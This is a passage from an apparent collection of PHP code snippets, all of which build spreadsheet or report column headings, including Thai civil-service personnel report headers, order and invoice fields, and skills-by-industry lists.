'Order Number',\n\t\t 'Order Date',\n\t\t \t/*'Month',*/\n 'Bill to name',\n\t\t\t'Ship to Name',\n\t\t\t'Order Location',\n\t\t\t'Zone',\n\t\t\t'Region',\n\t\t\t'Pincode #',\n\t\t\t'Payment Type',\n\t\t\t'Status',\n \t'Category',\n\t\t\t'Brand',\n\t\t\t'Stock Number',\n 'Sku_name',\n /*'MRP',*/\n\t\t\t'Weight',\n\t\t\t'Order Quantity',\n\t\t\t'Shipping Quantity',\n\t\t\t/*'BSP',*/\n\t\t\t'Invoice Id',\n\t\t\t'Invoice Date',\n\t\t\t/*'Method',*/\n\t\t\t'Original MRP',\n\t\t\t'MRP',\n\t\t\t'Discount_Amount',\n\t\t\t'Basic Sale',\n\t\t\t'TAX Amt',\n\t\t\t'Bill Value',\n\t\t\t'Coupon_Code',\n\t\t\t'Coupon Amt',\n\t\t\t'Formula',\n\t\t\t'Tax %',\n\t\t\t'Tax Type',\n\t\t\t'Courier',\n\t\t\t'AWB No',\n\t\t\t/*'Tax Amount',*/\n\t\t\t\t\t\t\n\t\t);\n }", "public static function excelSkillDemandHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\t\tglobal $heading_name,$ORG_TITLE;\n\t\t\n\t\t$worksheet->set_column(0, 0, 5);\n\t\t$worksheet->set_column(1, 1, 40);\n\t\t$worksheet->set_column(2, 2, 27);\n\t\t$worksheet->set_column(3, 3, 25);\n\t\t$worksheet->set_column(4, 4, 12);\n\t\t$worksheet->set_column(5, 5, 5);\n\t\t$worksheet->set_column(6, 6, 4);\n\t\t$worksheet->set_column(7, 7, 4);\n\t\t$worksheet->set_column(8, 8, 4);\n\t\t$worksheet->set_column(9, 9, 4);\n\t\t$worksheet->set_column(10, 10, 4);\n\t\t$worksheet->set_column(11, 11, 4);\n\t\t$worksheet->set_column(12, 12, 18);\n\t\t$worksheet->set_column(13, 13, 25);\n\t\t$worksheet->set_column(14, 14, 5);\n\t\t$worksheet->set_column(15, 15, 8);\n\t\t$worksheet->set_column(16, 16, 28);\n\t\t$worksheet->set_column(17, 17, 15);\n\t\t$worksheet->set_column(18, 18, 20);\n\t\t$worksheet->set_column(19, 19, 12);\n\t\t$worksheet->set_column(20, 20, 8);\n\t\t$worksheet->set_column(21, 21, 12);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"(1)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"(2)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"(3)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"(4)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"(5)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"(6)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"(7)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"(8)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"(9)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"(10)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"(11)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"(12)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 17,\"(13)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"(14)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"(15)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"(16)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"(17)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อส่วนราชการ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"เลข\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\",0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"L\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"พื้นที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"วุฒิการศึกษา/\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"อัตรา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ประจำตัว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"เพศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"เกิด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"บรรจุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"หมวด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"ชื่อตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"ชั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"ส่วนกลาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"ปฏิบัติงาน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"ประกาศนียบัตร\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"เงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"ปีที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\t\t$worksheet->write($xlsRow, 21, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 1, \"$ORG_TITLE\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"เขต/แขวง/ศูนย์\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"ประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 15, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 16, \"/ภูมิภาค\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 17, \"(จังหวัด)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 18, \"เฉพาะทาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 19, \"ปัจจุบัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 20, \"เกษียณ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "public static function excelSkillingSaHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Industry',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow, $COM_LEVEL_SALP;\n\n\t\t$worksheet->set_column(0, 0, 6);\n\t\t$worksheet->set_column(1, 1, 20);\n\t\t$worksheet->set_column(2, 2, 25);\n\t\t$worksheet->set_column(3, 3, 50);\n\t\t$worksheet->set_column(4, 4, 15);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 15);\n\t\t$worksheet->set_column(7, 7, 15);\n\t\t$worksheet->set_column(8, 8, 35);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"เลขประจำตัวประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"ชื่อ-นามสกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ตำแหน่ง/สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"อัตราเงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"เงินตอบแทน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"ที่เต็มขั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ร้อยละ 2 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ร้อยละ 4 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "protected function setHeaders()\n {\n $row = 1; \n $this->objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n \n $mergeCells = 'A' . $row . ':' . 'E' . $row;\n $this->setCellValue('A' . $row, \"Differences between files.\");\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getFont()->setBold(true);\n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n $this->objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Comparing by: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'C' . $row;\n $this->setCellValue('B' . $row, $this->getCompareTypeLabel()); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Configuration: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'M' . $row;\n $this->setCellValue('B' . $row, $this->settings['configuration']); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n $row += 5;\n $columns = $this->getColumns(); \n foreach ($columns as $columnName => $column) {\n $cell = $columnName . $row;\n $this->setCellValue($cell, $column['title']);\n $this->objPHPExcel->getActiveSheet()->getColumnDimension($columnName)->setAutoSize(true);\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n }\n \n return $row;\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\n\t\t$worksheet->set_column(0, 0, 10);\n\t\t$worksheet->set_column(1, 1, 25);\n\t\t$worksheet->set_column(2, 2, 30);\n\t\t$worksheet->set_column(3, 3, 20);\n\t\t$worksheet->set_column(4, 4, 30);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 20);\n\t\t$worksheet->set_column(7, 7, 30);\n\t\t$worksheet->set_column(8, 8, 30);\n\t\t$worksheet->set_column(9, 9, 20);\n\t\t$worksheet->set_column(10, 10, 10);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"สาขาวิชา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"ระดับการศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"สถานศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"ประเทศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"ตำแหน่ง/ระดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ชื่อทุน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"ระยะเวลา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"จำนวนวัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t}", "public function getGridHeadings() {\n return [ StringLiterals::GRIDHEADING => [ [ 'name' => trans ( 'cms::latestnews.title' ),StringLiterals::VALUE => 'name','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_creator' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_image' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.created_at' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.status' ),StringLiterals::VALUE => 'is_active','sort' => false ],[ 'name' => trans ( 'cms::latestnews.action' ),StringLiterals::VALUE => 'is_active','sort' => false ] ] ];\n }", "function styleHeaderExcel()\n{\n $styleHeader = array(\n 'font' => array(\n 'size' => 16,\n 'name' => 'Calibri',\n ), 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n ), 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR,\n 'rotation' => 90,\n 'startcolor' => array(\n 'argb' => 'B5B5B5',\n ), 'endcolor' => array(\n 'argb' => 'E0E0E0',\n ),\n ),\n );\n return $styleHeader;\n}", "public function headings(): array\n {\n return [\n 'Part Number',\n 'Description',\n 'Quantity',\n 'Date Received',\n// 'Month',\n// 'Year',\n 'Invoice Number',\n 'Vendor',\n 'Unit Price',\n 'Total Price',\n 'Location',\n 'Received By',\n ];\n }", "public function setColumnsHeadData()\n\t{\n\t\tFileStorage::getInstance()->store([], 'league_table_columns_head');\n\t}", "public function headings(): array\n {\n return [\n 'Name',\n 'Department',\n 'OT Date',\n 'Shift',\n 'From',\n 'To',\n 'Total Hrs',\n 'Job Content',\n 'Results',\n 'Supervisor',\n 'Manager',\n 'Date Created',\n 'Last Update'\n ];\n }", "public function headings(): array\n\t{\n\t\treturn [\n\t\t\t\t'No',\n\t\t\t\t'Title',\n\t\t\t\t'Price',\n\t\t\t\t'Category',\n\t\t\t\t'Type',\n\t\t\t\t'Post By',\n\t\t\t\t'Province',\n\t\t\t\t'District',\n\t\t\t\t'Commune',\n\t\t\t\t'views',\n\t\t\t\t'Status'\n\t\t];\n }", "public static function excelRegionsHeadings()\n {\n return [\n 'Region',\n ];\n }", "public function headings(): array\n {\n return [\n 'id',\n 'mshp_version_id',\n 'cmr_law_number',\n 'cmr_chapter',\n 'cmr_charge_code_seq',\n 'cmr_charge_code_fingerprintable',\n 'cmr_charge_code_effective_year',\n 'cmr_charge_code_ncic_category',\n 'cmr_charge_code_ncic_modifier',\n 'charge_code',\n 'ncic_mod',\n 'state_mod',\n 'description',\n 'type_class',\n 'dna',\n 'sor',\n 'roc',\n 'case_type',\n 'effective_date',\n ];\n }", "abstract function getheadings();", "public static function excelPlansAndProjectsHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Region',\n 'Industry',\n ];\n }", "public function headingRow(): int\n {\n return 1;\n }", "public static function excelDivisionsHeadings()\n {\n return [\n 'Divisions',\n 'Sub-Divisions',\n ];\n }", "public static function excelSkillsHeadingsMYSQL()\n {\n return [\n 'skills' => 'Skill type',\n 'agriculture' => 'Agriculture forestry and fishing',\n 'mining' => 'Mining',\n 'manufacturing' => 'Manufacturing',\n 'electricity' => 'Electricity gas water and waste services',\n 'construction' => 'Construction',\n 'w_trade' => 'Wholesale trade',\n 'r_trade' => 'Retail trade',\n 'accommodation' => 'Accommodation and food services',\n 'transport' => 'Transport postal and warehousing',\n 'ict' => 'Information media and telecommunications',\n 'financial' => 'Financial and insurance services',\n 'r_estate' => 'Rental hiring and real estate services',\n 'professional' => 'Professional scientific and technical services',\n 'admin' => 'Administrative and support services',\n 'public' => 'Public administration and safety',\n 'education' => 'Education and training',\n 'health' => 'Health care and social assistance',\n 'arts' => 'Arts and recreation services',\n 'o_services' => 'Other services',\n 'sa_state' => 'South australia'\n ];\n }", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals, create_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public function header($Arr_Labels=false)\n\t{\n\t\t$this->Arr_Labels = $Arr_Labels;\n\n $Int_Column = 0;\n if ($Arr_Labels)\n {\n\t foreach ($Arr_Labels as $Str_Field => $Str_Label)\n\t\t\t{\n $Str_Column = $Str_Label;\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t\t\t\t$Int_Column++;\n\t }\n\t\t}\n\t\telseif (isset($this->Arr_Data[0]))\n\t\t{\n\t foreach ($this->Arr_Data[0] as $Str_Field => $Str_Label)\n\t\t\t{\n\t\t\t\t$Int_Column++;\n $Str_Column = Inflector::humanize($Str_Field);\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t }\n\t\t}\n\n\t\t//Set the worksheet styles.\n $this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->getStartColor()->setRGB('ffffff');\n $this->Obj_Doc->getActiveSheet()->duplicateStyle( $this->Obj_Doc->getActiveSheet()->getStyle('A1'), 'B1:'.$this->Obj_Doc->getActiveSheet()->getHighestColumn().'1');\n\n\t\tfor ($i = 1; $i <= $Int_Column; $i++)\n\t\t{\n $this->Obj_Doc->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setAutoSize(true);\n }\n\n\t\treturn $this;\n\t}", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals,\n\t\t\t\tcreate_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public function headings(): array\n {\n return [\n 'Name',\n 'Developer Name',\n 'Status',\n 'Description',\n 'Created At',\n ];\n }", "function\ttableHead() {\n\t\t//\n\t\t//\t\tfpdf_set_active_font( $this->myfpdf, $this->fontId, mmToPt(3), false, false );\n\t\t//\t\tfpdf_set_fill_color( $this->myfpdf, ul_color_from_rgb( 0.1, 0.1, 0.1 ) );\n\t\t$frm\t=\t$this->myDoc->currMasterPage->getFrameByFlowName( \"Auto\") ;\n\t\t$frm->currVerPos\t+=\t3.5 ;\t\t// now add some additional room for readability\n\t\tfor ( $actRow=$this->myTable->getFirstRow( BRow::RTHeaderPS) ; $actRow !== FALSE ; $actRow=$this->myTable->getNextRow()) {\n\t\t\tif ( $actRow->isEnabled()) {\n\t\t\t\t$this->punchTableRow( $actRow) ;\n\t\t\t}\n\t\t}\n//\t\t$this->frmContent->currVerPos\t+=\t1.5 ;\t\t// now add the height of everythign we have output'\n\t\tif ( $this->inTable) {\n\t\t\tfor ( $actRow=$this->myTable->getFirstRow( BRow::RTHeaderCF) ; $actRow !== FALSE ; $actRow=$this->myTable->getNextRow()) {\n\t\t\t\tif ( $actRow->isEnabled()) {\n\t\t\t\t\t$this->punchTableRow( $actRow) ;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$frm->currVerPos\t+=\t1.5 ;\t\t// now add the height of everythign we have output'\n\t\t}\n\t}", "public function getHeading(): string;", "private function headings() {\n\t\t$this->section_data['general_h_tags'] = array(\n\t\t\t'name' \t\t\t\t\t=> 'general_h_tags',\n\t\t\t'label' \t\t\t\t=> __( 'Headings', 'fixedtoc' ),\n\t\t\t'default' \t\t\t=> array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),\n\t\t\t'type' \t\t\t\t\t=> 'multi_checkbox',\n\t\t\t'choices'\t\t\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h1' => 'Heading 1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h2' => 'Heading 